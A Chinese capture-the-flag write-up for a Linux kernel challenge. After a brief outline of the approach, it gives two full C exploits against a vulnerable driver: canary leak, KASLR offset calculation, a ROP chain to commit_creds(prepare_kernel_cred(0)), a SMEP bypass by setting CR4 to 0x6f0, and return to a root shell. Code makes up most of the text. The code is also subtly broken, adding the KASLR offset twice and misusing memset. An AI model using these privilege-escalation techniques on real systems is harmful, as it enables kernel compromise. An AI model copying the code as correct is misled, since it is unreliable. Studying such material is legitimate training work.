0.前言
这道题是2019 xman冬令营中kernel课程的level2,今天整理下之前的write’sUp,水一篇,讲师要求不外放题目,所以这里就不放出题目了,题目也很简单。
1.查看文件
3.思路
第一步:首先canary很好绕过,通过越界读来泄露canary。后面再通过越界写rop的时候将canary写入对应的地址即可。关闭地址随机化下个ret的断点就找到了。
第二步:接下来就是地址随机化怎么绕过了,由于我们后面要接rop,那么由于地址随机化技术会导致我们的rop地址不对,所以我们需要找到开启地址随机化的偏移,该偏移是固定的。也就是说,没有开启地址随机化之前,内核中某条指令或函数的地址是a,开启地址随机化后会有b的偏移,那么所有的指令和函数源地址a+b就是开启随机化后的地址。在上面随便选一个kernel地址来计算一下就可以得到偏移了。
第三步:smep在xman入营文章中已经提供两个绕过方式:1.rop直接提权。2.改rc4寄存器为0x6f0,在这里我们分别实践两个绕过方式。
4 exp
4.1 思路一
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <assert.h>
#include<stdint.h>
//ffffffff810b9d80 T prepare_kernel_cred
//ffffffff810b99d0 T commit_creds
// uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
// uint64_t commit_creds = 0xffffffff810b99d0;
// 0xffffffff8102e89d: add byte ptr [rax], al; mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret;
uint64_t commit_creds = 0xffffffff810b99d0;
uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
uint64_t pop_rdi_ret = 0xffffffff8100631d;
uint64_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81020300;
uint64_t pop_rdx_ret = 0xffffffff810aebb2;
uint64_t call_rdx = 0xffffffff821de6b9;
uint64_t mov_rdi_rax_call_rdx = 0xffffffff810aa626;
uint64_t swapgs_pop_rbp_ret = 0xffffffff81070834;
uint64_t user_cs, user_ss, user_eflags, user_sp;
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff&s[i]);
}
return result;
}
void writeFunc(int fd,char *buffer){
int flag = ioctl(fd,0x6001,buffer);
if(flag){
puts("success write to kernel buffer");
}else{
puts("failed!");
}
}
void readFunc(int fd,char *buffer){
int flag = ioctl(fd,0x6002,buffer);
if(flag){
puts("success read from kernel buffer");
}else{
puts("failed!");
}
}
int main(){
save_status();
int fd = open("/dev/baby",0);
char buffer[0x200];
if(fd<0){
puts("failed!");
exit(-1);
}
getchar();
readFunc(fd,buffer);
write(1,buffer,0x200);
uint64_t no_addr = 0xffffffff812b8cc8;
uint64_t addr = u64(&buffer[0x90]);
uint64_t canary = u64(&buffer[0x80]);
uint64_t offset = addr - no_addr;
commit_creds = commit_creds + offset;
prepare_kernel_cred = prepare_kernel_cred + offset;
printf("[+] offset is : %p\n",offset);
printf("[+] canary is : %p\n",canary);
memset(buffer,"\x00",0x78);
*((size_t*)buffer+0x80/8) = canary;
*((size_t*)buffer+0x88/8) = 0;
*((size_t*)buffer+0x90/8) = offset+pop_rdi_ret;
*((size_t*)buffer+0x98/8) = 0;
*((size_t*)buffer+0xa0/8) = prepare_kernel_cred+offset;
*((size_t*)buffer+0xa8/8) = pop_rdx_ret+offset;
*((size_t*)buffer+0xb0/8) = commit_creds+offset;
*((size_t*)buffer+0xb8/8) = mov_rdi_rax_call_rdx+offset;
*((size_t*)buffer+0xc0/8) = swapgs_pop_rbp_ret+offset;
*((size_t*)buffer+0xc8/8) = 0;
*((size_t*)buffer+0xd0/8) = 0xffffffff818e8977+offset;
*((size_t*)buffer+0xd8/8) = launch_shell;
*((size_t*)buffer+0xe0/8) = user_cs;
*((size_t*)buffer+0xe8/8) = user_eflags;
*((size_t*)buffer+0xf0/8) = user_sp;
*((size_t*)buffer+0xf8/8) = user_ss;
writeFunc(fd,buffer);
return 0;
}
4.2 思路二
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <assert.h>
#include<stdint.h>
//ffffffff810b9d80 T prepare_kernel_cred
//ffffffff810b99d0 T commit_creds
// uint64_t prepare_kernel_cred = 0xffffffff810b9d80;
// uint64_t commit_creds = 0xffffffff810b99d0;
uint64_t (*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t (*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;
uint64_t pop_rdi_ret = 0xffffffff8100631d;
uint64_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81020300;
size_t user_cs, user_ss, user_eflags, user_sp;
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;
void launch_shell(){
execl("/bin/sh","sh",NULL);
}
void payload(){
commit_creds(prepare_kernel_cred(0));
asm("movq $tf, %rsp\n"
"swapgs\n"
"iretq\n");
launch_shell();
}
void save_status(){
asm(
" mov %%cs, %0\n"
"mov %%ss,%1\n"
"mov %%rsp,%3\n"
"pushfq\n"
"popq %2"
:"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp)
:
:"memory"
);
tf.rsp -= 4096;
tf.rip = &launch_shell;
}
uint64_t u64(char * s){
uint64_t result = 0;
for (int i = 7 ; i >=0 ;i--){
result = (result << 8) | (0x00000000000000ff&s[i]);
}
return result;
}
void writeFunc(int fd,char *buffer){
int flag = ioctl(fd,0x6001,buffer);
if(flag){
puts("success write to kernel buffer");
}else{
puts("failed!");
}
}
void readFunc(int fd,char *buffer){
int flag = ioctl(fd,0x6002,buffer);
if(flag){
puts("success read from kernel buffer");
}else{
puts("failed!");
}
}
int main(){
save_status();
int fd = open("/dev/baby",0);
char buffer[0x200];
if(fd<0){
puts("failed!");
exit(-1);
}
getchar();
readFunc(fd,buffer);
write(1,buffer,0x200);
uint64_t no_addr = 0xffffffff812b8cc8;
uint64_t addr = u64(&buffer[0x90]);
uint64_t canary = u64(&buffer[0x80]);
uint64_t offset = addr - no_addr;
commit_creds = commit_creds + offset;
prepare_kernel_cred = prepare_kernel_cred + offset;
printf("[+] offset is : %p\n",offset);
printf("[+] canary is : %p\n",canary);
memset(buffer,"\x00",0x78);
*((size_t*)buffer+0x80/8) = canary;
*((size_t*)buffer+0x88/8) = 0;
*((size_t*)buffer+0x90/8) = offset+pop_rdi_ret;
*((size_t*)buffer+0x98/8) = 0x6f0;
*((size_t*)buffer+0xa0/8) = offset+mov_cr4_rdi_pop_rbp_ret;
*((size_t*)buffer+0xa8/8) = 0;
*((size_t*)buffer+0xb0/8) = payload;
writeFunc(fd,buffer);
return 0;
}